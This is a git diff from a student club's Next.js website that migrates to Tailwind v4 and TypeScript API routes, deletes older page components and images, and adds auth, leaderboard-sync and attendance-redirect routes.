+ dependencies:
+ is-map: 2.0.3
+ is-set: 2.0.3
+ is-weakmap: 2.0.2
+ is-weakset: 2.0.4
+
+ which-typed-array@1.1.19:
+ dependencies:
+ available-typed-arrays: 1.0.7
+ call-bind: 1.0.8
+ call-bound: 1.0.4
+ for-each: 0.3.5
+ get-proto: 1.0.1
+ gopd: 1.2.0
+ has-tostringtag: 1.0.2
+
+ which@2.0.2:
+ dependencies:
+ isexe: 2.0.0
+
+ word-wrap@1.2.5: {}
+
+ wrappy@1.0.2: {}
+
+ wsl-utils@0.1.0:
+ dependencies:
+ is-wsl: 3.1.0
+
+ xdg-app-paths@5.1.0:
+ dependencies:
+ xdg-portable: 7.3.0
+
+ xdg-portable@7.3.0:
+ dependencies:
+ os-paths: 4.4.0
+
+ yallist@4.0.0: {}
+
+ yallist@5.0.0: {}
+
+ yauzl-clone@1.0.4:
+ dependencies:
+ events-intercept: 2.0.0
+
+ yauzl-promise@2.1.3:
+ dependencies:
+ yauzl: 2.10.0
+ yauzl-clone: 1.0.4
+
+ yauzl@2.10.0:
+ dependencies:
+ buffer-crc32: 0.2.13
+ fd-slicer: 1.1.0
+
+ yn@3.1.1: {}
+
+ yocto-queue@0.1.0: {}
+
+ zod-form-data@3.0.1(zod@4.1.8):
+ dependencies:
+ '@rvf/set-get': 7.0.1
+ zod: 4.1.8
+
+ zod@3.22.4: {}
+
+ zod@4.1.8: {}
diff --git a/pnpm-workspace.yaml b/pnpm-workspace.yaml
new file mode 100644
index 0000000..83f5ace
--- /dev/null
+++ b/pnpm-workspace.yaml
@@ -0,0 +1,7 @@
+onlyBuiltDependencies:
+ - bcrypt
+ - esbuild
+ - sharp
+ - unrs-resolver
+packages:
+ - .
diff --git a/postcss.config.js b/postcss.config.js
index 33ad091..c2ddf74 100644
--- a/postcss.config.js
+++ b/postcss.config.js
@@ -1,6 +1,5 @@
-module.exports = {
+export default {
plugins: {
- tailwindcss: {},
- autoprefixer: {},
+ "@tailwindcss/postcss": {},
},
-}
+};
diff --git a/prettier.config.mjs b/prettier.config.mjs
deleted file mode 100644
index e8fe053..0000000
--- a/prettier.config.mjs
+++ /dev/null
@@ -1,4 +0,0 @@
-export default {
- semi: true,
- plugins: ["prettier-plugin-tailwindcss"],
-};
diff --git a/public/ACMBackground.png b/public/ACMBackground.png
deleted file mode 100644
index 566e618..0000000
Binary files a/public/ACMBackground.png and /dev/null differ
diff --git a/public/Brochure.svg b/public/Brochure.svg
deleted file mode 100644
index 5831459..0000000
--- a/public/Brochure.svg
+++ /dev/null
@@ -1,9 +0,0 @@
-
-
-
-
-
-
-
-
-
diff --git a/public/Events0.jpg b/public/Events0.jpg
deleted file mode 100644
index d63bde8..0000000
Binary files a/public/Events0.jpg and /dev/null differ
diff --git a/public/Events1.jpg b/public/Events1.jpg
deleted file mode 100644
index 6ce61c1..0000000
Binary files a/public/Events1.jpg and /dev/null differ
diff --git a/public/Events2.jpg b/public/Events2.jpg
deleted file mode 100644
index 0d3b062..0000000
Binary files a/public/Events2.jpg and /dev/null differ
diff --git a/public/Events3.jpg b/public/Events3.jpg
deleted file mode 100644
index e2a3076..0000000
Binary files a/public/Events3.jpg and /dev/null differ
diff --git a/public/Events4.jpg b/public/Events4.jpg
deleted file mode 100644
index f1b38e4..0000000
Binary files a/public/Events4.jpg and /dev/null differ
diff --git a/public/Events5.jpg b/public/Events5.jpg
deleted file mode 100644
index 2be2fe3..0000000
Binary files a/public/Events5.jpg and /dev/null differ
diff --git a/public/GroupPhoto1.jpg b/public/GroupPhoto1.jpg
deleted file mode 100644
index d63bde8..0000000
Binary files a/public/GroupPhoto1.jpg and /dev/null differ
diff --git a/public/GroupPhoto2.jpg b/public/GroupPhoto2.jpg
deleted file mode 100644
index 6ce61c1..0000000
Binary files a/public/GroupPhoto2.jpg and /dev/null differ
diff --git a/public/GroupPhoto3.jpg b/public/GroupPhoto3.jpg
deleted file mode 100644
index 0d3b062..0000000
Binary files a/public/GroupPhoto3.jpg and /dev/null differ
diff --git a/public/GroupPhoto4.jpg b/public/GroupPhoto4.jpg
deleted file mode 100644
index e2a3076..0000000
Binary files a/public/GroupPhoto4.jpg and /dev/null differ
diff --git a/public/GroupPhoto5.jpg b/public/GroupPhoto5.jpg
deleted file mode 100644
index f1b38e4..0000000
Binary files a/public/GroupPhoto5.jpg and /dev/null differ
diff --git a/public/GroupPhoto6.jpg b/public/GroupPhoto6.jpg
deleted file mode 100644
index 2be2fe3..0000000
Binary files a/public/GroupPhoto6.jpg and /dev/null differ
diff --git a/public/SponsorPackage.svg b/public/SponsorPackage.svg
deleted file mode 100644
index d7214d1..0000000
--- a/public/SponsorPackage.svg
+++ /dev/null
@@ -1,9 +0,0 @@
-
-
-
-
-
-
-
-
-
diff --git a/public/attendance/qr.png b/public/attendance/qr.png
new file mode 100644
index 0000000..e937f19
Binary files /dev/null and b/public/attendance/qr.png differ
diff --git a/public/attendance/qr.svg b/public/attendance/qr.svg
new file mode 100644
index 0000000..ec3bd06
--- /dev/null
+++ b/public/attendance/qr.svg
@@ -0,0 +1,436 @@
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/src/app/Home.css b/src/app/Home.css
deleted file mode 100644
index 21745d6..0000000
--- a/src/app/Home.css
+++ /dev/null
@@ -1,64 +0,0 @@
-.button-grid {
- display: flex;
- flex-direction: row;
- justify-content: center;
-}
-
-.grid > #description {
- text-align: end;
-}
-
-p {
- font-size: 1.3rem;
-}
-
-.header {
- text-align: center;
- font-size: 2rem;
-}
-
-.title {
- color: black;
- padding: 0.5rem;
- font-size: 3rem;
-}
-
-#mockup-mobile {
- display: none;
-}
-
-.call-to-action-home {
- margin-top: 100px;
-}
-
-@media only screen and (max-width: 600px) {
- .button-grid {
- display: flex;
- flex-direction: row;
- justify-content: center;
- }
-
- .title {
- color: black;
- padding: 0.5rem;
- font-size: 1rem;
- }
-
- .section-header-center {
- font-size: 30px;
- }
-
- #demo {
- display: none;
- }
-
- #mockup-mobile {
- display: initial;
- width: 100%;
- height: 100%;
- }
-
- #mockup-home {
- display: none;
- }
-}
diff --git a/src/app/about/events/page.js b/src/app/about/events/page.js
deleted file mode 100644
index 14d4cd2..0000000
--- a/src/app/about/events/page.js
+++ /dev/null
@@ -1,122 +0,0 @@
-import PageTitleTemplate from "@/app/components/PageTitleTemplate";
-import Link from "next/link";
-import Image from "next/image";
-import EmblaCarousel from "@/app/components/EmblaCarousel";
-
-const EventsPage = () => {
- const OPTIONS = { loop: true };
- const imagesForCarousel = [
- {
- image: "/Events0.jpg",
- },
- {
- image: "/Events1.jpg",
- },
- {
- image: "/Events2.jpg",
- },
- {
- image: "/Events3.jpg",
- },
- {
- image: "/Events4.jpg",
- },
- {
- image: "/Events5.jpg",
- },
- ];
-
- return (
-
-
-
- Meetings{" "}
-
-
- &
-
-
- {" "}
- Events
-
-
-
-
-
-
- General Body Meetings (
-
-
- GBM
-
-
- s)
-
-
- Key information meetings for DevDogs. Attendees will have the
- opportunity to meet other members, learn about the club, and learn
- about our software project this year. All are welcome and no RSVP is
- required.
-
-
-
-
- Dev{" "}
-
-
- Sessions
-
-
- Collaborative project development sessions for DevDogs. The primary
- meeting type. Attendees will discuss the progress of our project,
- discuss next steps, and tackle development problems together
- in-person. All are welcome and no RSVP is required.
-
-
-
-
-
- The latest dates and times can be found in the calendar below. Members
- are welcome to attend our livestreams on{" "}
-
- Discord
- {" "}
- if they cannot attend in-person.
-
-
-
- {/*
- Special{" "}
-
-
- Events
- */}
-
-
-
-
-
-
-
- );
-};
-
-export default EventsPage;
diff --git a/src/app/about/page.js b/src/app/about/page.js
deleted file mode 100644
index 277b346..0000000
--- a/src/app/about/page.js
+++ /dev/null
@@ -1,130 +0,0 @@
-"use client";
-
-import Image from "next/image";
-import mockup from "../images/mockup.png";
-import devdogswelcome from "../images/devdogswelcome.png";
-import Button from "../components/Button";
-import Link from "next/link";
-import EmblaCarousel from "../components/EmblaCarousel";
-import Caoursel1 from "@/app/images/carousel1.png";
-import Caoursel2 from "@/app/images/carousel2.jpg";
-import Caoursel3 from "@/app/images/carousel3.jpg";
-import PageTitleTemplate from "../components/PageTitleTemplate";
-
-// The link for the "All Projects" button goes to the discord because there is not a projects page yet.
-// The link for the "Our People" buttongoes to the Team page until the our People page is complete.
-
-const AboutPage = () => {
- const OPTIONS = { loop: true };
- const imagesForCarousel = [
- {
- image: Caoursel1,
- },
- {
- image: Caoursel2,
- },
- {
- image: Caoursel3,
- },
- ];
-
- return (
-
-
-
-
-
-
-
- Who{" "}
-
-
- We Are
-
-
-
- DevDogs is a student-run club at UGA dedicated to benefiting our
- community through code. Each year, we work together to develop
- impactful software from concept to completion, learning real-world
- skills and industry-standard tech along the way.{" "}
-
-
-
-
-
-
-
-
-
-
- Our{" "}
-
-
- Mission
-
-
- Above all, we aim to provide a space for passionate students from
- all disciplines to take ownership of meaningful software projects.
-
-
-
- In the process, we hope to build a network of awesome people,
- refine skills for our career, and learn how to incite change of
- our own, one project at a time.
-
-
-
-
-
-
-
-
- Our{" "}
-
-
- Impact
-
-
-
-
-
-
-
- More Info
-
-
-
- All Projects
-
-
- Our People
-
-
-
-
-
- );
-};
-
-export default AboutPage;
diff --git a/src/app/about/people/page.js b/src/app/about/people/page.js
deleted file mode 100644
index cec577a..0000000
--- a/src/app/about/people/page.js
+++ /dev/null
@@ -1,119 +0,0 @@
-"use client";
-import Card from "../../components/Card";
-import anika from "../../images/officers/anika.jpg";
-import jack from "../../images/officers/jack.jpg";
-import kade from "../../images/officers/kade.jpg";
-import kelsey from "../../images/officers/kelsey.jpg";
-import sloan from "../../images/officers/sloan.jpg";
-import maya from "../../images/officers/maya.jpg";
-import devdog from "../../images/replaceddevdog.png";
-import EmblaCarousel from "@/app/components/EmblaCarousel";
-import Caoursel1 from "@/app/images/carousel4.jpg";
-import Caoursel2 from "@/app/images/carousel5.jpg";
-import Caoursel3 from "@/app/images/carousel6.jpg";
-import LeaderBoard from "../../components/LeaderBoard";
-
-const OurTeam = () => {
- const OPTIONS = { loop: true };
- const imagesForCarousel = [
- {
- image: Caoursel1,
- },
- {
- image: Caoursel2,
- },
- {
- image: Caoursel3,
- },
- ];
- return (
-
-
-
- Our{" "}
-
-
- People
-
-
-
-
-
- DevDogs is proud to consist of over 350 UGA students from all tech
- disciplines and backgrounds. We firmly believe that different
- perspectives breed the best solutions--and we think our work shows! Take
- a look at some of the awesome people who have made DevDogs, DevDogs
- below.
-
-
-
-
- {" "}
- 2024 - 2025{" "}
-
-
-
- Executive{" "}
-
-
- Board
-
-
-
-
-
-
-
- Contributors
-
-
-
-
-
- );
-};
-
-export default OurTeam;
diff --git a/src/app/about/projects/page.js b/src/app/about/projects/page.js
deleted file mode 100644
index 2fb444b..0000000
--- a/src/app/about/projects/page.js
+++ /dev/null
@@ -1,123 +0,0 @@
-"use client";
-import Link from "next/link";
-import Button from "../../components/Button";
-
-const Page = () => {
- // Image arrays are for future use when we have more projects
-
- // const OPTIONS = { loop: true };
-
- // const SLIDES = Array.from(Array(SLIDE_COUNT).keys())
- // const currentProjects = [
- // {
- // image: TempProjectImage,
- // },
- // {
- // image: TempProjectImage,
- // },
- // {
- // image: TempProjectImage,
- // },
- // ];
-
- // const pastProjects = [
- // {
- // image: TempProjectImage,
- // title: "Project Name, 202#",
- // description:
- // "Brief description of project and its impact. Lorem ipsum dolor sit amet.",
- // },
- // {
- // image: TempProjectImage,
- // title: "Project Name, 203#",
- // description:
- // "Brief description of project and its impact. Lorem ipsum dolor sit amet.",
- // },
- // {
- // image: TempProjectImage,
- // title: "Project Name, 204#",
- // description:
- // "Brief description of project and its impact. Lorem ipsum dolor sit amet.",
- // },
- // ];
-
- return (
-
-
-
- Our{" "}
-
-
- Projects
-
-
- Each year, DevDogs embarks on a new full-stack software project,
- collaborating on a concept from idea to implementation. Our software
- projects are always open-sourced and aligned to benefit the UGA or
- Athens community. After all, we’re the most familiar with its
- pain-points, so we’re the best equipped to help our people one project
- at a time. Take a look at what we’ve done below!
-
-
-
-
- Current{" "}
-
-
- Project
-
-
-
-
-
- UGA Optimized Schedule Builder
-
-
-
- {/* For future use when we have multiple projects being worked on in one semester for now we will focus on one main project */}
- {/*
*/}
-
- {/*
-
-
*/}
-
-
- The UGA Optimized Schedule Builder will retrieve the current data
- available for courses and prepare an optimized schedule for students
- based on location, time, major, course details, and more. This resource
- will help students understand different schedules they can create to
- help them find and build an amazing course schedule for the upcoming
- semester.
-
-
-
- Learn more about the project and the tools being used to build the
- application!
-
-
-
-
View
-
- {/* For future use when we have past projects to show */}
-
-
- {/*
- Past{" "}
-
-
- Projects
- */}
-
-
- {/* Carousel */}
-
- {/* */}
-
-
- );
-};
-
-export default Page;
diff --git a/src/app/academy/page.js b/src/app/academy/page.js
deleted file mode 100644
index b103348..0000000
--- a/src/app/academy/page.js
+++ /dev/null
@@ -1,11 +0,0 @@
-const AcademyPage = () => {
- return (
-
-
- COMING SOON!
-
-
- );
-};
-
-export default AcademyPage;
diff --git a/src/app/api/auth/route.ts b/src/app/api/auth/route.ts
new file mode 100644
index 0000000..3d8996a
--- /dev/null
+++ b/src/app/api/auth/route.ts
@@ -0,0 +1,4 @@
+export {
+ handleOAuthRedirect as GET,
+ handleProfileRequest as POST,
+} from "~/server/auth";
diff --git a/src/app/api/discord/route.ts b/src/app/api/discord/route.ts
new file mode 100644
index 0000000..8f695bc
--- /dev/null
+++ b/src/app/api/discord/route.ts
@@ -0,0 +1 @@
+// export { handleInteractionRequest as POST } from "~/server/discord";
diff --git a/src/app/api/github/sync-leaderboard/route.ts b/src/app/api/github/sync-leaderboard/route.ts
new file mode 100644
index 0000000..59591ff
--- /dev/null
+++ b/src/app/api/github/sync-leaderboard/route.ts
@@ -0,0 +1,22 @@
+import { unauthorized } from "next/navigation";
+import { NextResponse } from "next/server";
+import { env } from "~/env";
+import syncLeaderboard from "~/server/github/syncLeaderboard";
+
+export async function GET(request: Request) {
+ if (
+ process.env.VERCEL_ENV &&
+ process.env.VERCEL_ENV !== "development" &&
+ request.headers.get("authorization") !== `Bearer ${env.CRON_SECRET}`
+ ) {
+ unauthorized();
+ }
+
+ try {
+ await syncLeaderboard();
+ return NextResponse.json({ success: true });
+ } catch (e) {
+ console.error(e);
+ return new NextResponse("An unknown error occurred.", { status: 500 });
+ }
+}
diff --git a/src/app/attendance/route.ts b/src/app/attendance/route.ts
new file mode 100644
index 0000000..b19fbcf
--- /dev/null
+++ b/src/app/attendance/route.ts
@@ -0,0 +1,7 @@
+import { redirect } from "next/navigation";
+import { TZDate } from "@date-fns/tz";
+import { format } from "date-fns";
+
+export function GET() {
+ redirect(`https://tinyurl.com/devdogs${format(TZDate.tz("America/New_York"), "MMddyy")}`)
+}
\ No newline at end of file
diff --git a/src/app/color.css b/src/app/color.css
deleted file mode 100644
index 4c029f0..0000000
--- a/src/app/color.css
+++ /dev/null
@@ -1,25 +0,0 @@
-#samples {
- /* Primaries */
- color: #ba0c2f; /* Bulldog Red */
- color: #33334d; /* DevDog Blue */
- color: #fff7f9; /* Barely Pink */
- color: #23221f; /* Nearly Black */
- color: #222233; /* Midnight Blue */
- color: #e4002b; /* Glory Glory Red */
- color: #ffffff; /* Pure White */
- color: #000000; /* Solid Black */
-
- /* Neutrals */
- color: #64575a; /* Mud Gray */
- color: #8a7d7d; /* Grout Gray */
- color: #aa999d; /* Pebble Gray */
- color: #d4ccc8; /* Limestone */
- color: #f2d9df; /* Dusty Pink */
- color: #d9ecec; /* Baby Blue */
-
- /* Complementaries */
- color: #00a3ad; /* Lake Herrick / Hope Blue */
- color: #f9bd9b; /* Gold */
- color: #e37c7c; /* Peach */
- color: #71ccd2; /* Wave */
-}
diff --git a/src/app/community/page.tsx b/src/app/community/page.tsx
new file mode 100644
index 0000000..ee2025d
--- /dev/null
+++ b/src/app/community/page.tsx
@@ -0,0 +1,5 @@
+import UnderConstruction from "~/components/UnderConstruction";
+
+export default async function Community() {
+ return ;
+}
diff --git a/src/app/components/AboutPageLinks.js b/src/app/components/AboutPageLinks.js
deleted file mode 100644
index e69de29..0000000
diff --git a/src/app/components/Border.css b/src/app/components/Border.css
deleted file mode 100644
index 1024d3d..0000000
--- a/src/app/components/Border.css
+++ /dev/null
@@ -1,16 +0,0 @@
-.card-container {
- width: 15rem;
- border-radius: 1rem;
- box-shadow: 0px 5px 8px #31304b;
- display: flex;
- flex-direction: column;
- margin: auto;
- background-color: rgba(255, 255, 255, 0.8);
- height: fit-content;
-}
-
-.card-title,
-.card-description {
- margin: 0.5rem 5%;
- text-align: center;
-}
diff --git a/src/app/components/Border.js b/src/app/components/Border.js
deleted file mode 100644
index aebb7cf..0000000
--- a/src/app/components/Border.js
+++ /dev/null
@@ -1,21 +0,0 @@
-import "./Border.css";
-import { Card, CardBody } from "@nextui-org/card";
-import PropTypes from "prop-types";
-
-const Border = ({ title }) => {
- return (
-
-
-
- {title}
-
-
-
- );
-};
-
-export default Border;
-
-Border.propTypes = {
- title: PropTypes.string,
-};
diff --git a/src/app/components/Button.css b/src/app/components/Button.css
deleted file mode 100644
index 37c981d..0000000
--- a/src/app/components/Button.css
+++ /dev/null
@@ -1,63 +0,0 @@
-button {
- border-radius: 30px;
- width: 10rem;
- font-size: 1.5rem;
-}
-
-#joinus,
-#joinus-si {
- background-color: #ba0c2f;
- color: #fbfbfb;
-}
-
-#learnmore {
- float: right;
- background-color: #222233;
- color: #ffffff;
-}
-
-#all-projects {
- background-color: #222233;
- color: #ffffff;
- width: 15rem;
- text-align: center;
-}
-
-#our-people {
- background-color: #ba0c2f;
- color: #ffffff;
- width: 15rem;
- text-align: center;
-}
-
-#sponsorbrochure {
- width: 15rem;
- background-color: #ba0c2f;
- color: #ffffff;
- text-align: center;
- display: block;
- margin: auto;
- margin-top: 60px;
-}
-
-@media only screen and (max-width: 600px) {
- button {
- border-radius: 30px;
- width: 8rem;
- font-size: 1.2rem;
- }
-
- #learnmore {
- background-color: #222233;
- color: #ffffff;
- }
-
- #sponsorbrochure {
- width: 15rem;
- background-color: #ba0c2f;
- color: #ffffff;
- text-align: center;
- margin: auto;
- margin-top: 30px;
- }
-}
diff --git a/src/app/components/Button.js b/src/app/components/Button.js
deleted file mode 100644
index e169b6c..0000000
--- a/src/app/components/Button.js
+++ /dev/null
@@ -1,25 +0,0 @@
-import "./Button.css";
-import PropTypes from "prop-types";
-
-const Button = (props) => {
- return (
-
-
- {props.children}
-
-
- );
-};
-
-export default Button;
-
-Button.propTypes = {
- id: PropTypes.string,
- type: PropTypes.string,
- onClick: PropTypes.func,
- children: PropTypes.node,
-};
diff --git a/src/app/components/Card.css b/src/app/components/Card.css
deleted file mode 100644
index 7d95f19..0000000
--- a/src/app/components/Card.css
+++ /dev/null
@@ -1,98 +0,0 @@
-#officer-description {
- color: #ffffff;
- background-color: #3a3a3a;
- /*background-image: none;
- border-radius: 0rem 0rem 1rem 1rem;*/
- padding: 2px 16px;
- border-radius: 0 0 20px 20px;
-}
-
-.officer-card {
- /*border-radius: 1rem;
- margin-top: -3rem;*/
- box-shadow: 0 4px 8px 0 rgba(0, 0, 0, 0.2);
- border-radius: 20px 20px 20px 20px;
- display: grid;
- grid-template-rows: 350px 1fr;
-}
-
-#officer-title-name {
- padding-top: 0.2rem;
- padding-bottom: 0.2rem;
- font-size: 1rem;
-}
-
-#founder {
- font-size: 1.3rem;
- padding-top: 0.2rem;
- padding-bottom: 0.2rem;
- font-weight: 500;
-}
-
-#pic {
- object-fit: cover;
- border-radius: 20px 20px 0 0;
- width: 100%;
- height: 100%;
-}
-
-/* Background color options */
-
-#brown-dark {
- background-color: #8a7d7d;
-}
-
-#brown-light {
- background-color: #a49595;
-}
-
-#gray {
- background-color: #e3e9e9;
-}
-
-#pink-light {
- background-color: #fff8fc;
-}
-
-#pink {
- background-color: #e37c7c;
-}
-
-#pink-dark {
- background-color: #8e5d5d;
-}
-
-#cyan-light {
- background-color: #daebec;
-}
-
-@media only screen and (max-width: 600px) {
- .officer-card {
- box-shadow: 0 4px 8px 0 rgba(0, 0, 0, 0.2);
- border-radius: 20px 20px 20px 20px;
- display: grid;
- grid-template-rows: 250px 1fr;
- }
-
- #pic {
- object-fit: cover;
- }
-
- #officer-description {
- color: #ffffff;
- background-color: #3a3a3a;
- padding: 1px 10px;
- border-radius: 0 0 20px 20px;
- height: auto;
- }
-
- #officer-title-name {
- padding-top: 0.1rem;
- padding-bottom: 0.1rem;
- font-size: 0.7rem;
- }
-
- .officer-name {
- font-size: 1rem;
- }
-}
diff --git a/src/app/components/Card.js b/src/app/components/Card.js
deleted file mode 100644
index d336af2..0000000
--- a/src/app/components/Card.js
+++ /dev/null
@@ -1,25 +0,0 @@
-import "./Card.css";
-import Image from "next/image";
-import PropTypes from "prop-types";
-
-const Card = (props) => {
- return (
-
-
-
-
-
{props.name}
-
{props.title}
-
-
-
- );
-};
-
-export default Card;
-
-Card.propTypes = {
- image: PropTypes.string,
- name: PropTypes.string,
- title: PropTypes.string,
-};
diff --git a/src/app/components/Carousel.css b/src/app/components/Carousel.css
deleted file mode 100644
index 9ff6737..0000000
--- a/src/app/components/Carousel.css
+++ /dev/null
@@ -1,35 +0,0 @@
-.carousel-container {
- position: relative;
- width: 100%; /* Make sure the container is full width */
- height: 100%;
- overflow: hidden; /* Hide any overflow */
-}
-
-.carousel-image {
- width: 100%; /* Scale image to the width of its container */
- height: auto; /* Maintain aspect ratio */
-}
-
-.full-width-slide {
- width: 100vw;
- height: 23vh;
- display: flex;
- justify-content: center;
- align-items: center;
-}
-
-@media only screen and (min-width: 1000px) {
- .full-width-slide {
- width: 100vw;
- height: 40vh;
- display: flex;
- justify-content: center;
- align-items: center;
- }
-}
-
-.full-width-slide img {
- max-width: 100%;
- max-height: 100%;
- object-fit: cover; /* Ensure the image covers the area without distortion */
-}
diff --git a/src/app/components/Carousel.js b/src/app/components/Carousel.js
deleted file mode 100644
index b72018c..0000000
--- a/src/app/components/Carousel.js
+++ /dev/null
@@ -1,54 +0,0 @@
-"use client";
-
-import { useState, useRef } from "react";
-import Slider from "react-slick";
-import "slick-carousel/slick/slick.css";
-import "slick-carousel/slick/slick-theme.css";
-import "./Carousel.css";
-import Image from "next/image";
-import PropTypes from "prop-types";
-
-const Carousel = ({ images }) => {
- const sliderHeight = useState("auto")[0];
- const sliderRef = useRef(null);
-
- const settings = {
- className: "center",
- centerMode: true,
- dots: true,
- infinite: true,
- speed: 500,
- slidesToShow: 1,
- slidesToScroll: 1,
- autoplay: true, // Enable autoplay
- autoplaySpeed: 3000, // Time between slides in milliseconds
- };
-
- return (
-
-
- {images.map((url, index) => (
-
-
-
- ))}
-
-
- );
-};
-
-export default Carousel;
-
-Carousel.propTypes = {
- images: PropTypes.array,
-};
diff --git a/src/app/components/DirectMessageForm.js b/src/app/components/DirectMessageForm.js
deleted file mode 100644
index 5d4c646..0000000
--- a/src/app/components/DirectMessageForm.js
+++ /dev/null
@@ -1,106 +0,0 @@
-"use client";
-import { useState } from "react";
-
-export default function DirectMessageForm() {
- const [formData, setFormData] = useState({
- fullname: "",
- email: "",
- message: "",
- });
-
- const handleChange = (e) => {
- const { name, value } = e.target;
- setFormData((prevData) => ({
- ...prevData,
- [name]: value,
- }));
- };
-
- const handleSubmit = (e) => {
- e.preventDefault();
-
- const { fullname, email, message } = formData;
- const subject = encodeURIComponent(`Message from ${fullname}`);
- const body = encodeURIComponent(
- `Full Name: ${fullname}\nEmail: ${email}\n\nMessage:\n${message}`,
- );
-
- window.location.replace(
- `mailto:devdogs@uga.edu?subject=${subject}&body=${body}`,
- );
- };
-
- return (
-
- );
-}
diff --git a/src/app/components/EmblaCarousel.js b/src/app/components/EmblaCarousel.js
deleted file mode 100644
index 5376ac9..0000000
--- a/src/app/components/EmblaCarousel.js
+++ /dev/null
@@ -1,188 +0,0 @@
-"use client";
-import { useCallback, useEffect, useRef } from "react";
-import useEmblaCarousel from "embla-carousel-react";
-import Image from "next/image";
-import Link from "next/link";
-import "./embla.css";
-import PropTypes from "prop-types";
-
-const TWEEN_FACTOR_BASE = 0.2;
-
-const numberWithinRange = (number, min, max) =>
- Math.min(Math.max(number, min), max);
-
-function useInterval(callback, delay) {
- const savedCallback = useRef();
-
- useEffect(() => {
- savedCallback.current = callback;
- }, [callback]);
-
- useEffect(() => {
- function tick() {
- savedCallback.current();
- }
- if (delay !== null) {
- let id = setInterval(tick, delay);
- return () => clearInterval(id);
- }
- }, [delay]);
-}
-
-const EmblaCarousel = (props) => {
- const { slides, options } = props;
- const [emblaRef, emblaApi] = useEmblaCarousel(options);
- const tweenFactor = useRef(0);
- const tweenNodes = useRef([]);
-
- const setTweenNodes = useCallback((emblaApi) => {
- tweenNodes.current = emblaApi
- .slideNodes()
- .map((slideNode) => slideNode.querySelector(".embla__slide__number"));
- }, []);
-
- const setTweenFactor = useCallback((emblaApi) => {
- tweenFactor.current = TWEEN_FACTOR_BASE * emblaApi.scrollSnapList().length;
- }, []);
-
- const tweenScale = useCallback((emblaApi, eventName) => {
- const engine = emblaApi.internalEngine();
- const scrollProgress = emblaApi.scrollProgress();
- const slidesInView = emblaApi.slidesInView();
- const isScrollEvent = eventName === "scroll";
-
- emblaApi.scrollSnapList().forEach((scrollSnap, snapIndex) => {
- let diffToTarget = scrollSnap - scrollProgress;
- const slidesInSnap = engine.slideRegistry[snapIndex];
-
- slidesInSnap.forEach((slideIndex) => {
- if (isScrollEvent && !slidesInView.includes(slideIndex)) return;
-
- if (engine.options.loop) {
- engine.slideLooper.loopPoints.forEach((loopItem) => {
- const target = loopItem.target();
-
- if (slideIndex === loopItem.index && target !== 0) {
- const sign = Math.sign(target);
-
- if (sign === -1) {
- diffToTarget = scrollSnap - (1 + scrollProgress);
- }
- if (sign === 1) {
- diffToTarget = scrollSnap + (1 - scrollProgress);
- }
- }
- });
- }
-
- const tweenValue = 1 - Math.abs(diffToTarget * tweenFactor.current);
- const scale = numberWithinRange(tweenValue, 0, 1).toString();
- const tweenNode = tweenNodes.current[slideIndex];
- if (tweenNode) {
- tweenNode.style.transform = `scale(${scale})`;
- }
- });
- });
- }, []);
-
- useInterval(() => {
- if (emblaApi) {
- emblaApi.scrollNext();
- }
- }, 4500);
-
- useEffect(() => {
- if (!emblaApi) return;
-
- setTweenNodes(emblaApi);
- setTweenFactor(emblaApi);
- tweenScale(emblaApi);
-
- emblaApi
- .on("reInit", setTweenNodes)
- .on("reInit", setTweenFactor)
- .on("reInit", tweenScale)
- .on("scroll", tweenScale)
- .on("select", tweenScale);
- }, [emblaApi, setTweenNodes, setTweenFactor, tweenScale]);
-
- return (
-
-
-
- {slides.map((slide, index) => (
-
- {slide.link ? (
-
-
- {slide.image && (
-
- )}
- {(slide.title || slide.description) && (
-
- {slide.title && (
-
- {slide.title}
-
- )}
- {slide.description && (
-
- {slide.description}
-
- )}
-
- )}
-
-
- ) : (
-
- {slide.image && (
-
- )}
- {(slide.title || slide.description) && (
-
- {slide.title && (
-
- {slide.title}
-
- )}
- {slide.description && (
-
- {slide.description}
-
- )}
-
- )}
-
- )}
-
- ))}
-
-
-
- );
-};
-
-EmblaCarousel.propTypes = {
- slides: PropTypes.arrayOf(
- PropTypes.shape({
- image: PropTypes.string.isRequired,
- title: PropTypes.string,
- description: PropTypes.string,
- link: PropTypes.string,
- }),
- ),
- options: PropTypes.object,
-};
-
-export default EmblaCarousel;
diff --git a/src/app/components/FlippableCard.js b/src/app/components/FlippableCard.js
deleted file mode 100644
index 9b4daa8..0000000
--- a/src/app/components/FlippableCard.js
+++ /dev/null
@@ -1,35 +0,0 @@
-import Image from "next/image";
-import Link from "next/link";
-import PropTypes from "prop-types";
-
-FlippableCard.propTypes = {
- image: PropTypes.string.isRequired,
-};
-
-export default function FlippableCard(props) {
- return (
-
-
-
-
-
-
-
-
- test
-
-
- test test
-
-
-
-
- Github
-
-
-
-
-
-
- );
-}
diff --git a/src/app/components/Footer.css b/src/app/components/Footer.css
deleted file mode 100644
index 328ebbd..0000000
